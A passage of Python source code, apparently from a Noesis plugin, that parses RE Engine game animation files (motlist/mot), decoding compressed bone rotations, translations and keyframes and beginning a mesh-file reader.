unpacks.max.w, unpacks.max.y * rawVec[1] + unpacks.min.x, unpacks.max.z * rawVec[2] + unpacks.min.y)) * defScaleVec\n\t\t\telif compression == 0x70000:\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt64(), 21)\n\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)) * defScaleVec\n\t\t\telif compression == 0x80000:\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt64(), 21)\n\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + unpacks.max.w, unpacks.max.y * rawVec[1] + unpacks.min.x, unpacks.max.z * rawVec[2] + unpacks.min.y)) * defScaleVec\n\t\t\telif (compression == 0x31000 and self.version <= 65) or (compression == 0x41000 and self.version >= 78): #LoadVector3sXAxis\n\t\t\t\toutput = NoeVec3((bs.readFloat(), unpacks.max.y, unpacks.max.z)) * defScaleVec\n\t\t\telif (compression == 0x32000 and self.version <= 65) or (compression == 0x42000 and self.version >= 78): #LoadVector3sYAxis\n\t\t\t\toutput = NoeVec3((unpacks.max.x, bs.readFloat(), unpacks.max.z)) * defScaleVec\n\t\t\telif (compression == 0x33000 and self.version <= 65) or (compression == 0x43000 and self.version >= 78): #LoadVector3sZAxis\n\t\t\t\toutput = NoeVec3((unpacks.max.x, unpacks.max.y, bs.readFloat())) * defScaleVec\n\t\t\telif compression == 0x21000:\n\t\t\t\toutput = NoeVec3((unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.y, unpacks.max.z, unpacks.max.w)) * defScaleVec\n\t\t\telif compression == 0x22000:\n\t\t\t\toutput = NoeVec3((unpacks.max.y, unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.z, unpacks.max.w)) * defScaleVec\n\t\t\telif compression == 0x23000:\n\t\t\t\toutput = NoeVec3((unpacks.max.y, unpacks.max.z, unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.w)) * defScaleVec\n\t\t\telse:\n\t\t\t\tprint(\"Unknown\", \"Translation\" if ftype==\"pos\" else \"Scale\", \"type:\", \"0x\"+'{:02X}'.format(compression))\n\t\t\t\toutput = NoeVec3((0,0,0)) if ftype==\"pos\" else NoeVec3((100,100,100))\n\t\telif ftype==\"rot\":\n\t\t\tif compression == 0x00000: #LoadQuaternionsFull\n\t\t\t\toutput = NoeQuat((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat())).transpose()\n\t\t\telif compression == 0xB0000 or compression == 0xC0000: #LoadQuaternions3Component\n\t\t\t\t#rawVec = [bs.readFloat(), bs.readFloat(), bs.readFloat()]\n\t\t\t\t#output = NoeQuat((rawVec[0], rawVec[1], rawVec[2], wRot(rawVec))).transpose()\n\t\t\t\toutput = NoeQuat3((bs.readFloat(), bs.readFloat(), bs.readFloat())).toQuat().transpose()\n\t\t\telif compression == 0x20000: #//LoadQuaternions5Bit RE3\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUShort(), 5)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x21000:\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.y, 0, 0)).toQuat().transpose()\n\t\t\telif compression == 0x22000:\n\t\t\t\toutput = NoeQuat3((0, unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.y, 0)).toQuat().transpose()\n\t\t\telif compression == 0x23000:\n\t\t\t\toutput = NoeQuat3((0, 0, unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.max.y)).toQuat().transpose()\n\t\t\telif compression == 0x30000 and self.version >= 78: #LoadQuaternions8Bit RE3\n\t\t\t\trawVec = [convertBits(bs.readUByte(), 8), convertBits(bs.readUByte(), 8), convertBits(bs.readUByte(), 8)]\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x30000:\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt(), 10)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x31000 or compression == 0x41000:\n\t\t\t\toutput = NoeQuat3((bs.readFloat(), 0, 0)).toQuat().transpose()\n\t\t\telif compression == 0x32000 or compression == 0x42000:\n\t\t\t\toutput = NoeQuat3((0, bs.readFloat(), 0)).toQuat().transpose()\n\t\t\telif compression == 0x33000 or compression == 0x43000:\n\t\t\t\toutput = NoeQuat3((0, 0, bs.readFloat())).toQuat().transpose()\n\t\t\telif compression == 0x40000: #LoadQuaternions10Bit RE3\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt(), 10)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x50000 and self.version <= 65: #LoadQuaternions16Bit RE2\n\t\t\t\trawVec = [convertBits(bs.readUShort(), 16), convertBits(bs.readUShort(), 16), convertBits(bs.readUShort(), 16)]\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x50000: #LoadQuaternions13Bit RE3\n\t\t\t\trawBytes = [bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte()]\n\t\t\t\tretrieved = (rawBytes[0] << 32) | (rawBytes[1] << 24) | (rawBytes[2] << 16) | (rawBytes[3] << 8) | (rawBytes[4] << 0)\n\t\t\t\trawVec = readPackedBitsVec3(retrieved, 13)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x60000: #LoadQuaternions16Bit RE3\n\t\t\t\t#output = NoeQuat((0,0,0,1))\n\t\t\t\trawVec = [convertBits(bs.readUShort(), 16), convertBits(bs.readUShort(), 16), convertBits(bs.readUShort(), 16)]\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif (compression == 0x70000 and self.version <= 65) or (compression == 0x80000 and self.version >= 78): #LoadQuaternions21Bit RE2 and LoadQuaternions21Bit RE3\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt64(), 21)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telif compression == 0x70000 and self.version >= 78: #LoadQuaternions18Bit RE3\n\t\t\t\trawBytes = [bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte(), bs.readUByte()]\n\t\t\t\tretrieved = (rawBytes[0] << 48) | (rawBytes[1] << 40) | (rawBytes[2] << 32) | (rawBytes[3] << 24) | (rawBytes[4] << 16) | (rawBytes[5] << 8) | (rawBytes[6] << 0)\n\t\t\t\trawVec = readPackedBitsVec3(retrieved, 18)\n\t\t\t\toutput = NoeQuat3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)).toQuat().transpose()\n\t\t\telse:\n\t\t\t\tprint(\"Unknown Rotation type:\", \"0x\"+'{:02X}'.format(compression))\n\t\t\t\toutput = NoeQuat((0,0,0,1))\n\t\treturn output\n\t\t\t\n\t# Used a lot for merging+moving skeletons of animations and meshes together:\n\tdef readBoneHeaders(self):\n\t\tbs = self.bs\n\t\tboneHdrOffs = 0\n\t\tif self.offsToBoneHdrOffs:\n\t\t\tbs.seek(self.offsToBoneHdrOffs)\n\t\t\tself.boneHdrOffset = bs.readUInt64()\n\t\t\tcount = bs.readUInt64()\n\t\t\tif self.boneHdrOffset and count == self.boneCount:\n\t\t\t\tboneHdrOffs = self.boneHdrOffset\n\t\tif boneHdrOffs:\n\t\t\tbs.seek(boneHdrOffs)\n\t\t\tfor i in range(count):\n\t\t\t\tbs.seek(self.boneHdrOffset+80*i)\n\t\t\t\tboneName = readUnicodeStringAt(bs, bs.readUInt64())\n\t\t\t\t#boneName = self.motlist.meshBones[i].name if i < len(self.motlist.meshBones) else boneName #SF6 facial anims test\n\t\t\t\tparentOffset = bs.readUInt64()\n\t\t\t\tparentIndex = int((parentOffset-self.boneHdrOffset)/80) if parentOffset else -1\n\t\t\t\tbs.seek(16,1)\n\t\t\t\ttranslation = NoeVec4((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\t\t\tquat = NoeQuat((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat())).transpose()\n\t\t\t\tindex = bs.readUInt()\n\t\t\t\tboneHash = bs.readUInt()\n\t\t\t\tmat = quat.toMat43()\n\t\t\t\tmat[3] = translation.toVec3() * fDefaultMeshScale\n\t\t\t\tself.boneHeaders.append(BoneHeader(name=boneName, pos=translation, rot=quat, index=index, parentIndex=parentIndex, hash=boneHash, mat=mat))\n\t\t\tself.motlist.boneHeaders = self.motlist.boneHeaders or self.boneHeaders\n\t\telif self.motlist.boneHeaders:\n\t\t\tself.boneHeaders = self.motlist.boneHeaders\n\t\telif not self.motlist.searchedForBoneHeaders:\n\t\t\tself.motlist.findBoneHeaders()\n\t\telse:\n\t\t\tprint(\"Failed to find bone headers:\", self.name)\n\t\t\treturn 0\n\t\t\t\n\t\tself.bones = []\n\t\tif not dialogOptions.dialog or not dialogOptions.dialog.args.get(\"mesh\"):\n\t\t\t\n\t\t\tmeshBoneNames = [bone.name.lower() for bone in self.motlist.meshBones]\n\t\t\tmotlistBoneNames = [bone.name.lower() for bone in self.motlist.bones]\n\t\t\t\n\t\t\tfor i, boneHeader in enumerate(self.boneHeaders):\n\t\t\t\tif not meshBoneNames or boneHeader.name.lower() in meshBoneNames: #always use additive animations when loading onto meshes\n\t\t\t\t\tbone = NoeBone(len(self.bones), boneHeader.name, boneHeader.mat, self.boneHeaders[boneHeader.parentIndex].name if boneHeader.parentIndex != -1 else None, boneHeader.parentIndex)\n\t\t\t\t\tself.bones.append(bone)\n\t\t\t\n\t\t\tselfBoneNames = [bone.name.lower() for bone in self.bones]\n\t\t\taddedBones = []\n\t\t\tfor i, bone in enumerate(self.bones):\n\t\t\t\tif bone.parentName and bone.parentName.lower() in motlistBoneNames:\n\t\t\t\t\tbone.parentIndex = motlistBoneNames.index(bone.parentName.lower())\n\t\t\t\tif bone.name.lower() not in motlistBoneNames:\n\t\t\t\t\tbone.index = len(self.motlist.bones)\n\t\t\t\t\tself.motlist.bones.append(bone)\n\t\t\t\t\tmotlistBoneNames.append(bone.name.lower())\n\t\t\t\t\taddedBones.append(bone)\n\t\t\tfor b, bone in enumerate(self.bones):\n\t\t\t\tif bone.parentIndex != -1 and bone.parentName.lower() in motlistBoneNames:\n\t\t\t\t\tmat = self.boneHeaders[b].mat\n\t\t\t\t\tbone.setMatrix(mat * self.motlist.bones[motlistBoneNames.index(bone.parentName.lower())].getMatrix())\n\t\t\t\t\t'''if bone in addedBones:\n\t\t\t\t\t\tmat = NoeMat43() #remove posed rotation from anim skeleton, and relocate bone to merged parent bone\n\t\t\t\t\t\tmat[3] = self.boneHeaders[b].pos.toVec3()'''\n\t\t\t\t\t'''if bone in addedBones:\n\t\t\t\t\t\tchildBones = getChildBones(bone, self.motlist.bones, True)\n\t\t\t\t\t\tchildMats = []\n\t\t\t\t\t\tfor childBone in childBones:\n\t\t\t\t\t\t\t#print(\"moving child\", childBone.name)\n\t\t\t\t\t\t\toldIndex = selfBoneNames.index(childBone.name.lower())\n\t\t\t\t\t\t\tchildMats.append(self.boneHeaders[oldIndex].mat * self.bones[selfBoneNames.index(childBone.parentName.lower())].getMatrix())'''\n\n\t\t\t\t\t'''if bone in addedBones:\n\t\t\t\t\t\tfor c, childBone in enumerate(childBones):\n\t\t\t\t\t\t\t#childBone.setMatrix(childMats[c] * self.motlist.bones[motlistBoneNames.index(childBone.parentName.lower())].getMatrix())\n\t\t\t\t\t\t\tprint(\"moving child\", childBone.name)\n\t\t\t\t\t\t\tchildBone.setMatrix(NoeMat43())'''\n\t\t\t\t\n\tdef read(self):\n\t\tbs = self.bs\n\t\t\n\t\tif not self.boneHeaders:\n\t\t\tself.readBoneHeaders()\n\t\t\n\t\tbnClipSz = 24 if self.version==65 else 16 if self.version==43 else 12\n\t\tfor i in range(self.boneClipCount):\n\t\t\tbs.seek(self.boneClipHdrOffset+bnClipSz*i)\n\t\t\t#print(i, \"bnCLipHdr at\", bs.tell()+self.start)\n\t\t\tif self.version == 65:\n\t\t\t\tindex = bs.readUShort()\n\t\t\t\ttrackFlags = bs.readUShort()\n\t\t\t\tboneHash = bs.readUInt()\n\t\t\t\tbs.seek(8,1)\n\t\t\t\ttrackHeaderOffset = bs.readUInt64()\n\t\t\telse:\n\t\t\t\tindex = bs.readUShort()\n\t\t\t\ttrackFlags = bs.readUShort()\n\t\t\t\tboneHash = bs.readUInt()\n\t\t\t\tif self.version == 43:\n\t\t\t\t\ttrackHeaderOffset = bs.readUInt64()\n\t\t\t\telse:\n\t\t\t\t\ttrackHeaderOffset = bs.readUInt()\n\t\t\tself.boneClipHeaders.append(BoneClipHeader(boneIndex=index, trackFlags=trackFlags, boneHash=boneHash, trackHeaderOffset=trackHeaderOffset))\n\t\t\t\n\t\tskipToNextLine(bs)\n\t\tself.boneClips = []\n\t\tfor i in range(self.boneClipCount):\n\t\t\tboneClipHdr = self.boneClipHeaders[i]\n\t\t\t#if self.boneHeaders[boneClipHdr.boneIndex].name in \n\t\t\t#if (i == 0 and self.boneHeaders[boneClipHdr.boneIndex].name != self.motlist.bones[0].name):\n\t\t\t#\tprint(self.name, \"Ignoring all keyframes for \", self.boneHeaders[boneClipHdr.boneIndex].name)\n\t\t\t#\tcontinue\n\t\t\ttracks = {\"pos\": None, \"rot\": None, \"scl\": None }\n\t\t\tbs.seek(boneClipHdr.trackHeaderOffset)\n\t\t\tfor t in range(3):\n\t\t\t\tif boneClipHdr.trackFlags & (1 << t):\n\t\t\t\t\tflags = bs.readUInt()\n\t\t\t\t\tkeyCount = bs.readUInt()\n\t\t\t\t\tframeRate = maxFrame = 0\n\t\t\t\t\tif self.version >= 78:\n\t\t\t\t\t\tframeIndOffs = bs.readUInt()\n\t\t\t\t\t\tframeDataOffs = bs.readUInt()\n\t\t\t\t\t\tunpackDataOffs = bs.readUInt()\n\t\t\t\t\telse:\n\t\t\t\t\t\tframeRate = float(bs.readUInt())\n\t\t\t\t\t\tmaxFrame = bs.readFloat()\n\t\t\t\t\t\tframeIndOffs = bs.readUInt64()\n\t\t\t\t\t\tframeDataOffs = bs.readUInt64()\n\t\t\t\t\t\tunpackDataOffs = bs.readUInt64()\n\t\t\t\t\tnewTrack = BoneTrack(flags=flags, keyCount=keyCount, frameRate=frameRate, maxFrame=maxFrame, frameIndOffs=frameIndOffs, frameDataOffs=frameDataOffs, unpackDataOffs=unpackDataOffs)\n\t\t\t\t\tif (boneClipHdr.trackFlags & (1)) and not tracks.get(\"pos\"): \n\t\t\t\t\t\ttracks[\"pos\"] = newTrack\n\t\t\t\t\telif (boneClipHdr.trackFlags & (1 << 1)) and not tracks.get(\"rot\"): \n\t\t\t\t\t\ttracks[\"rot\"] = newTrack\n\t\t\t\t\telif (boneClipHdr.trackFlags & (1 << 2)) and not tracks.get(\"scl\"): \n\t\t\t\t\t\ttracks[\"scl\"] = newTrack\n\t\t\tif i == 0 and dialogOptions.dialog and dialogOptions.dialog.pak and self.boneHeaders[boneClipHdr.boneIndex].name != dialogOptions.dialog.pak.bones[0].name:\n\t\t\t#if i == 0 and self.boneHeaders[boneClipHdr.boneIndex].name != \"root\":\n\t\t\t\tprint(self.name, \": Ignoring all keyframes for \", self.boneHeaders[boneClipHdr.boneIndex].name)\n\t\t\t\ttracks[\"pos\"] = tracks[\"rot\"] = tracks[\"scl\"] = None #remove local root bone translations/rotations for mounted animations like facials \n\t\t\telif dialogOptions.doForceCenter and (self.boneHeaders[boneClipHdr.boneIndex].parentIndex == 0 or i == 0):\n\t\t\t\tprint(self.name, \": Ignoring position keyframes for \", self.boneHeaders[boneClipHdr.boneIndex].name)\n\t\t\t\ttracks[\"pos\"] = None\n\t\t\tself.boneClips.append(tracks)\n\t\t\t\n\t\tfor i, boneClip in enumerate(self.boneClips):\n\t\t\tmotlistBoneIndex = self.motlist.boneHashes.get(self.boneClipHeaders[i].boneHash)\n\t\t\tif motlistBoneIndex != None:\n\t\t\t\tkfBone = NoeKeyFramedBone(motlistBoneIndex)\n\t\t\t\tfor ftype in [\"pos\", \"rot\", \"scl\"]:\n\t\t\t\t\tfHeader = boneClip.get(ftype)\n\t\t\t\t\tif fHeader:\n\t\t\t\t\t\tkeyCompression = fHeader.flags >> 20\n\t\t\t\t\t\tkeyReadFunc = bs.readUInt if keyCompression==5 else bs.readUByte if keyCompression==2 else bs.readUShort\n\t\t\t\t\t\tbs.seek(fHeader.frameIndOffs)\n\t\t\t\t\t\tkeyTimes = []\n\t\t\t\t\t\tfor k in range(fHeader.keyCount):\n\t\t\t\t\t\t\tkeyTimes.append(keyReadFunc() if fHeader.frameIndOffs else 0)\n\t\t\t\t\t\tif fHeader.unpackDataOffs:\n\t\t\t\t\t\t\tbs.seek(fHeader.unpackDataOffs)\n\t\t\t\t\t\t\tunpackMax = UnpackVec(x=bs.readFloat(), y=bs.readFloat(), z=bs.readFloat(), w=bs.readFloat())\n\t\t\t\t\t\t\tunpackMin = UnpackVec(x=bs.readFloat(), y=bs.readFloat(), z=bs.readFloat(), w=bs.readFloat())\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tunpackMax = unpackMin = UnpackVec(x=0, y=0, z=0, w=0)\n\t\t\t\t\t\tunpackValues = Unpacks(max=unpackMax, min=unpackMin)\n\t\t\t\t\t\tframes = []\n\t\t\t\t\t\tbs.seek(fHeader.frameDataOffs)\n\t\t\t\t\t\tfor f in range(fHeader.keyCount):\n\t\t\t\t\t\t\tframe = self.readFrame(ftype, fHeader.flags, unpackValues)\n\t\t\t\t\t\t\tif ftype == \"scl\":\n\t\t\t\t\t\t\t\tframe /= 100\n\t\t\t\t\t\t\tkfValue = NoeKeyFramedValue(keyTimes[f], frame)\n\t\t\t\t\t\t\tframes.append(kfValue)\n\t\t\t\t\t\tif ftype == \"pos\": # and self.motlist.bones[motlistBoneIndex].parentIndex != 0:#kfBoneNames:\n\t\t\t\t\t\t\tkfBone.setTranslation(frames, noesis.NOEKF_TRANSLATION_VECTOR_3)\n\t\t\t\t\t\telif ftype == \"rot\":\n\t\t\t\t\t\t\tkfBone.setRotation(frames, noesis.NOEKF_ROTATION_QUATERNION_4)\n\t\t\t\t\t\telif ftype == \"scl\":\n\t\t\t\t\t\t\tkfBone.setScale(frames, noesis.NOEKF_SCALE_VECTOR_3)\n\t\t\t\tself.kfBones.append(kfBone)\n\t\tmotEnd = bs.tell()\n\t\t\n\t\t#bs.seek(0)\n\t\t#self.bs = NoeBitStream(bs.readBytes(motEnd))\n\t\t#self.anim = NoeKeyFramedAnim(self.name, self.motlist.bones, self.kfBones, 1)\n\t\t\n\nclass motlistFile:\n\t\n\tdef __init__(self, data, path=\"\"):\n\t\tself.bs = NoeBitStream(data)\n\t\tbs = self.bs\n\t\tself.path = path\n\t\tself.bones = []\n\t\tself.boneHashes = {}\n\t\tself.boneHeaders = []\n\t\tself.anims = []\n\t\tself.mots = []\n\t\tself.meshBones = []\n\t\tself.searchedForBoneHeaders = False\n\t\tself.totalFrames = 0\n\t\tself.version = bs.readInt()\n\t\tbs.seek(16)\n\t\tpointersOffset = bs.readUInt64()\n\t\tmotionIDsOffset = bs.readUInt64()\n\t\tself.name = readUnicodeStringAt(bs, bs.readUInt64())\n\t\tbs.seek(8, 1)\n\t\tnumOffsets = bs.readUInt()\n\t\tbs.seek(pointersOffset)\n\t\tself.motionIDs = []\n\t\tself.pointers = []\n\t\tfor i in range(numOffsets):\n\t\t\tbs.seek(pointersOffset + i*8)\n\t\t\tmotAddress = bs.readUInt64()\n\t\t\tif motAddress and motAddress not in self.pointers and readUIntAt(bs, motAddress+4) == 544501613: # 'mot'\n\t\t\t\tself.pointers.append(motAddress)\n\t\t\t\tbs.seek(motAddress)\n\t\t\t\tmot = motFile(bs.readBytes(bs.getSize()-bs.tell()), self, motAddress)\n\t\t\t\tself.mots.append(mot)\n\t\t\t\t\n\tdef findBoneHeaders(self):\n\t\tself.searchedForBoneHeaders = True\n\t\tfor mot in self.mots:\n\t\t\tmot.readBoneHeaders()\n\t\t\tif self.boneHeaders:\n\t\t\t\tprint(\"Using bone headers from\", mot.name)\n\t\t\t\tbreak\n\t\t\t\t\n\tdef readBoneHeaders(self, motNamesToLoad=[]):\n\t\tself.boneHashes = {}\n\t\tfor mot in self.mots:\n\t\t\tif not motNamesToLoad or mot.name in motNamesToLoad:\n\t\t\t\tmot.readBoneHeaders()\n\t\tfor i, bone in enumerate(self.bones):\n\t\t\thash = hash_wide(bone.name, True)\n\t\t\tself.boneHashes[hash] = i #bone.index\n\t\t\t\t\n\tdef read(self, motNamesToLoad=[]):\n\t\tbs = self.bs\n\t\tself.readBoneHeaders(motNamesToLoad)\n\t\tfor i, mot in enumerate(self.mots):\n\t\t\tif not motNamesToLoad or mot.name in motNamesToLoad and not mot.doSkip:\n\t\t\t\tmot.read()\n\t\t\t\t\n\tdef makeAnims(self, motNamesToLoad=[]):\n\t\tbs = self.bs\n\t\tmotsToLoad = []\n\t\t#check for sync mots:\n\t\tfor i, mot in enumerate(self.mots):\n\t\t\tif not motNamesToLoad or mot.name in motNamesToLoad and not mot.doSkip:\n\t\t\t\tmotsToLoad.append(mot)\n\t\tif (dialogOptions.doSync or dialogOptions.doForceMergeAnims) and dialogOptions.motDialog and len(dialogOptions.motDialog.loadItems) > 0:\n\t\t\tallLoadItems = copy.copy(dialogOptions.motDialog.loadItems)\n\t\t\tallLoadPaths = copy.copy(dialogOptions.motDialog.fullLoadItems)\n\t\t\tfor j, otherMotName in enumerate(dialogOptions.motDialog.loadItems):\n\t\t\t\tif \"[ALL]\" in otherMotName:\n\t\t\t\t\tfor mot in dialogOptions.motDialog.loadedMlists[dialogOptions.motDialog.fullLoadItems[j]].mots:\n\t\t\t\t\t\tif mot.name not in allLoadItems:\n\t\t\t\t\t\t\tallLoadItems.append(mot.name)\n\t\t\t\t\t\t\tallLoadPaths.append(dialogOptions.motDialog.fullLoadItems[j])\n\t\t\tfor i, mot in enumerate(motsToLoad):\n\t\t\t\tmlistBoneNames = [bone.name.lower() for bone in self.bones]\n\t\t\t\tfor otherPath, otherMlist in dialogOptions.motDialog.loadedMlists.items():\n\t\t\t\t\tif otherMlist == self:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\totherMotNames = [otherMot.name for otherMot in otherMlist.mots]\n\t\t\t\t\tfor j, otherMotName in enumerate(allLoadItems):\n\t\t\t\t\t\tif mot.motlist.path != allLoadPaths[j] and \"[ALL]\" not in otherMotName and otherMotName in otherMotNames and not otherMlist.mots[otherMotNames.index(otherMotName)].doSkip and (dialogOptions.doForceMergeAnims or mot.checkIfSyncMot(otherMlist.mots[otherMotNames.index(otherMotName)])):\n\t\t\t\t\t\t\tsyncMot = otherMlist.mots[otherMotNames.index(otherMotName)]\n\t\t\t\t\t\t\texistingKfBoneNames = [self.bones[kfBone.boneIndex].name for kfBone in mot.kfBones]\n\t\t\t\t\t\t\tfor b, kfBone in enumerate(syncMot.kfBones):\n\t\t\t\t\t\t\t\tbone = syncMot.motlist.bones[kfBone.boneIndex]\n\t\t\t\t\t\t\t\tif bone.name.lower() not in mlistBoneNames:\n\t\t\t\t\t\t\t\t\tbone.index = len(self.bones)\n\t\t\t\t\t\t\t\t\tself.bones.append(bone)\n\t\t\t\t\t\t\t\t\tmlistBoneNames.append(bone.name.lower())\n\t\t\t\t\t\t\t\tif (kfBone.hasAnyKeys() and (bone.name not in existingKfBoneNames or not mot.kfBones[existingKfBoneNames.index(bone.name)].hasAnyKeys())):\n\t\t\t\t\t\t\t\t\tkfBone.boneIndex = mlistBoneNames.index(bone.name.lower())\n\t\t\t\t\t\t\t\t\tmot.kfBones.append(kfBone)\n\t\t\t\t\t\t\tprint(\"Merged animation \", syncMot.name, \"into\", mot.name)\n\t\t\t\t\t\t\tsyncMot.doSkip = True\n\t\tmotsByName = []\t\n\t\tfor i, mot in enumerate(motsToLoad):\n\t\t\tif not mot.doSkip:\n\t\t\t\tmot.anim = NoeKeyFramedAnim(mot.name, self.bones, mot.kfBones, 1)\n\t\t\t\tself.anims.append(mot.anim)\n\t\t\t\tmotsByName.append(mot.name)\n\t\tif len(self.anims) > 0:\n\t\t\tprint(\"\\nImported\", len(self.anims), \"animations from motlist '\", self.name, \"':\")\n\t\t\tfor anim in self.anims:\n\t\t\t\tprint(\" @ \" + str(int(self.totalFrames)), \"\t'\", anim.name, \"'\")\n\t\t\t\tself.totalFrames += self.mots[motsByName.index(anim.name)].frameCount\n\ndef motlistCheckType(data):\n\tbs = NoeBitStream(data)\n\tmagic = readUIntAt(bs, 4)\n\tif magic == 1953721453:\n\t\treturn 1\n\telse: \n\t\tprint(\"Fatal Error: Unknown file magic: \" + str(hex(magic) + \" expected 'mlst'!\"))\n\t\treturn 0\n\ndef motlistLoadModel(data, mdlList):\n\tctx = rapi.rpgCreateContext()\n\t\n\tdialogOptions.motDialog = None\n\tmotlist = motlistFile(data, rapi.getInputName())\n\tmlDialog = openOptionsDialogImportWindow(None, None, {\"motlist\":motlist, \"isMotlist\":True})\n\tmlDialog.createMotlistWindow()\n\t\n\tmdl = NoeModel()\n\t\n\tif not mlDialog.isCancelled:\n\t\tmdl.setBones(mlDialog.pak.bones)\n\t\tcollapseBones(mdl, 100)\n\t\tbones = list(mdl.bones)\n\t\tmdlBoneNames = [bone.name.lower() for bone in bones]\n\t\tsortedMlists = []\n\t\tfor mlist in [mlDialog.loadedMlists[path] for path in mlDialog.fullLoadItems]:\n\t\t\tif mlist not in sortedMlists:\n\t\t\t\tsortedMlists.append(mlist)\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.readBoneHeaders(mlDialog.loadItems)\n\t\t\tfor bone in mlist.bones:\n\t\t\t\tif bone.name.lower() not in mdlBoneNames:\n\t\t\t\t\tbone.index = len(bones)\n\t\t\t\t\tbones.append(bone)\n\t\tanims = []\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.bones = bones\n\t\t\tmlist.readBoneHeaders(mlDialog.loadItems)\n\t\t\tmlist.read(mlDialog.loadItems)\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.makeAnims(mlDialog.loadItems)\n\t\t\tanims.extend(mlist.anims)\n\t\t\t\n\t\tmdl.setBones(bones)\n\t\tmdl.setAnims(anims)\n\t\trapi.setPreviewOption(\"setAnimSpeed\", \"60.0\")\n\t\n\tmdlList.append(mdl)\n\t\n\treturn 1\n\t\n\nisSF6 = False\nisExoPrimal = False\nBBskipBytes = numNodesLocation = LOD1OffsetLocation = normalsRecalcOffsLocation = bsHdrOffLocation = bsIndicesOffLocation = \\\nvBuffHdrOffsLocation = bonesOffsLocation = nodesIndicesOffsLocation = namesOffsLocation = floatsHdrOffsLocation = 0\n\ndef setOffsets(ver):\n\tglobal BBskipBytes, numNodesLocation, LOD1OffsetLocation, normalsRecalcOffsLocation, bsHdrOffLocation, bsIndicesOffLocation, \\\n\tvBuffHdrOffsLocation, bonesOffsLocation, nodesIndicesOffsLocation, namesOffsLocation, floatsHdrOffsLocation\n\tBBskipBytes = \t\t\t\t8 \tif ver == 1 else 0\n\tnumNodesLocation = \t\t\t18 \tif ver < 3 else 20\n\tLOD1OffsetLocation = \t\t24 \tif ver < 3 else 32\n\tnormalsRecalcOffsLocation = 56 \tif ver < 3 else 64\n\tbsHdrOffLocation = \t\t\t64 \tif ver < 3 else 56\n\tbsIndicesOffLocation = \t\t112 if ver < 3 else 128\n\tvBuffHdrOffsLocation = \t\t80 \tif ver < 3 else 72\n\tbonesOffsLocation = \t\t48 \tif ver < 3 else 104\n\tnodesIndicesOffsLocation = \t96 \tif ver < 3 else 112\n\tnamesOffsLocation = \t\t120 if ver < 3 else 144\n\tfloatsHdrOffsLocation = \t72 \tif ver < 3 else 96\n\tif isExoPrimal:\n\t\tnodesIndicesOffsLocation = 104\n\t\tnamesOffsLocation = 136 \n\nclass meshFile(object): \n\n\tdef __init__(self, data, path=\"\"):\n\t\tself.path = path or rapi.getInputName()\n\t\tself.inFile = NoeBitStream(data)\n\t\tself.boneList = []\n\t\tself.matNames = []\n\t\tself.groupIDs = []\n\t\tself.matHashes = []\n\t\tself.matList = []\n\t\tself.texList = []\n\t\tself.texNames = []\n\t\tself.missingTexNames = []\n\t\tself.texColors = []\n\t\tself.fullBoneList = []\n\t\tself.fullTexList = 